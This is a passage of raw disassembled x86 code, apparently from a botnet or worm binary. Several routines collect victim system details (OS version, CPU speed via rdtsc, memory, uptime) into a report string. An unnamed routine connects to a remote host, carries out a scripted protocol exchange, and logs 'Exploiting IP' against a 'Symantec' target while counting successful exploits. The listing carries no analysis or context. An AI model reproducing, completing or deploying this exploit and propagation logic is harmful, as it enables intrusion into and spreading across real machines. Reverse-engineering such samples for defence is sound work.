					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26A0428h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		call	near ptr 26F057Eh
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 27515ACh
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2870000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08
		push	[ebp+var_4]
		call	dword_4CBA08
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


